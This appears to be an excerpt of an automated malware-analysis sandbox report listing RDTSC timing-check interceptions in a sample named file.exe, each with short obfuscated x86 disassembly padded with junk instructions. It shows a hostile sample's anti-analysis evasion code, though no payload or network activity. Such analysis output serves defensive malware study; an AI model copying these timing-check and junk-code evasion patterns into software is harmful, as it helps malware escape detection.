Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F546E9 second address: F54712 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Ch 0x00000007 jmp 00007F0580C30A89h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54712 second address: F5472E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0580563BB6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F54A11 second address: F54A22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 jl 00007F0580C30A76h 0x0000000d popad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00B47 second address: F00B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00B4E second address: F00BCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, ebx 0x0000000e mov ebx, dword ptr [ebp+12487CF4h] 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F0580C30A78h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e jne 00007F0580C30A8Fh 0x00000034 add eax, ebx 0x00000036 mov ecx, dword ptr [ebp+122D2C2Eh] 0x0000003c nop 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F0580C30A7Fh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5B80B second address: F5B80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C338 second address: F5C348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580C30A7Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C908 second address: F5C917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F0580563BA6h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5D1AA second address: F5D1AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61955 second address: F61961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F0580563BA6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F655F9 second address: F65605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0580C30A76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65605 second address: F65621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0580563BB5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65621 second address: F6562B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6562B second address: F6563B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580563BACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6563B second address: F65641 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65641 second address: F6564B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6564B second address: F65660 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65660 second address: F65678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580563BB2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65678 second address: F6567D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64689 second address: F6469C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F0580563BABh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6469C second address: F646A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F646A0 second address: F646A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64971 second address: F64980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580C30A7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64980 second address: F649ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0580563BB6h 0x0000000e popad 0x0000000f push ebx 0x00000010 jl 00007F0580563BBBh 0x00000016 jmp 00007F0580563BB5h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F0580563BAEh 0x00000022 jmp 00007F0580563BB1h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64B3E second address: F64B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F0580C30A7Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64B50 second address: F64B55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64B55 second address: F64B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64B5B second address: F64B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64CA8 second address: F64CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64CAE second address: F64CD2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0580563BB0h 0x0000000c jmp 00007F0580563BABh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65126 second address: F6512C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6512C second address: F6513B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0580563BABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6513B second address: F65141 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6528D second address: F65291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65291 second address: F652B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F0580C30A86h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F652B8 second address: F652FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BABh 0x00000007 jmp 00007F0580563BAFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 jmp 00007F0580563BB8h 0x00000016 pop esi 0x00000017 je 00007F0580563BB2h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F652FA second address: F65304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0580C30A76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65304 second address: F6532C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580563BAFh 0x00000009 jmp 00007F0580563BB5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6532C second address: F65349 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F0580C30A76h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C76C second address: F6C772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C772 second address: F6C779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CE05 second address: F6CE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CE0C second address: F6CE11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CE11 second address: F6CE47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007F0580563BA6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F0580563BABh 0x0000001b pushad 0x0000001c push eax 0x0000001d pop eax 0x0000001e jnc 00007F0580563BA6h 0x00000024 jmp 00007F0580563BAAh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D120 second address: F6D12E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D12E second address: F6D134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D134 second address: F6D138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D138 second address: F6D14B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DB69 second address: F6DB72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DB72 second address: F6DB99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0580563BADh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DB99 second address: F6DBA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DBA8 second address: F6DBC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0580563BB2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C1A5 second address: F6C1AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C1AB second address: F6C1B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7ECB1 second address: F7ECBE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7ECBE second address: F7ECC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8643A second address: F86440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85FF2 second address: F86029 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0580563BAEh 0x0000000b push eax 0x0000000c jmp 00007F0580563BB6h 0x00000011 pop eax 0x00000012 popad 0x00000013 jl 00007F0580563BC7h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F86029 second address: F86033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0580C30A76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AA08 second address: F8AA10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AA10 second address: F8AA1A instructions: 0x00000000 rdtsc 0x00000002 js 00007F0580C30A76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FBDD second address: F8FBE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0580563BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FBE7 second address: F8FC02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A85h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8FC02 second address: F8FC09 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91D0E second address: F91D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96A99 second address: F96A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C969 second address: F9C9B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F0580C30A83h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d jmp 00007F0580C30A80h 0x00000012 pop eax 0x00000013 jnl 00007F0580C30A8Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C9B5 second address: F9C9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C9B9 second address: F9C9BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA12D2 second address: FA12EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580563BB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA12EB second address: FA12F0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA0E7B second address: FA0E80 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1017 second address: FA1021 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0580C30A8Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3574 second address: FA3579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3579 second address: FA35AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A83h 0x00000007 jmp 00007F0580C30A7Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F0580C30A82h 0x00000016 jnc 00007F0580C30A76h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA35AA second address: FA35AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB00C9 second address: FB00CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB00CE second address: FB00DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F0580563BA6h 0x00000009 pop ebx 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1793 second address: FB17A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0580C30A7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C65 second address: FB3C69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C69 second address: FB3C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0580C30A7Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C7D second address: FB3C87 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB3C87 second address: FB3C9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0580C30A82h 0x0000000e jnc 00007F0580C30A76h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5476 second address: FB5488 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F0580563BA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5488 second address: FB54A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0580C30A80h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB54A4 second address: FB54CE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnl 00007F0580563BA6h 0x00000011 jns 00007F0580563BA6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c jbe 00007F0580563BB2h 0x00000022 jnp 00007F0580563BA6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB54CE second address: FB54D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB54D5 second address: FB54DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAE855 second address: FAE861 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0580C30A76h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC32C9 second address: FC32DA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0580563BA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD963E second address: FD9642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8D7E second address: FD8D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0580563BAAh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8D92 second address: FD8D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0580C30A76h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDBFBF second address: FDBFC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC093 second address: FDC099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC099 second address: FDC0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F0580563BACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC29D second address: FDC2A7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0580C30A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC2A7 second address: FDC2B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F0580563BA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC32A second address: FDC36D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0580C30A7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D1E4Ch], ecx 0x00000012 jne 00007F0580C30A7Ch 0x00000018 push 00000004h 0x0000001a or dx, 27DBh 0x0000001f stc 0x00000020 call 00007F0580C30A79h 0x00000025 push eax 0x00000026 push edx 0x00000027 push edx 0x00000028 jl 00007F0580C30A76h 0x0000002e pop edx 0x0000002f rdtsc
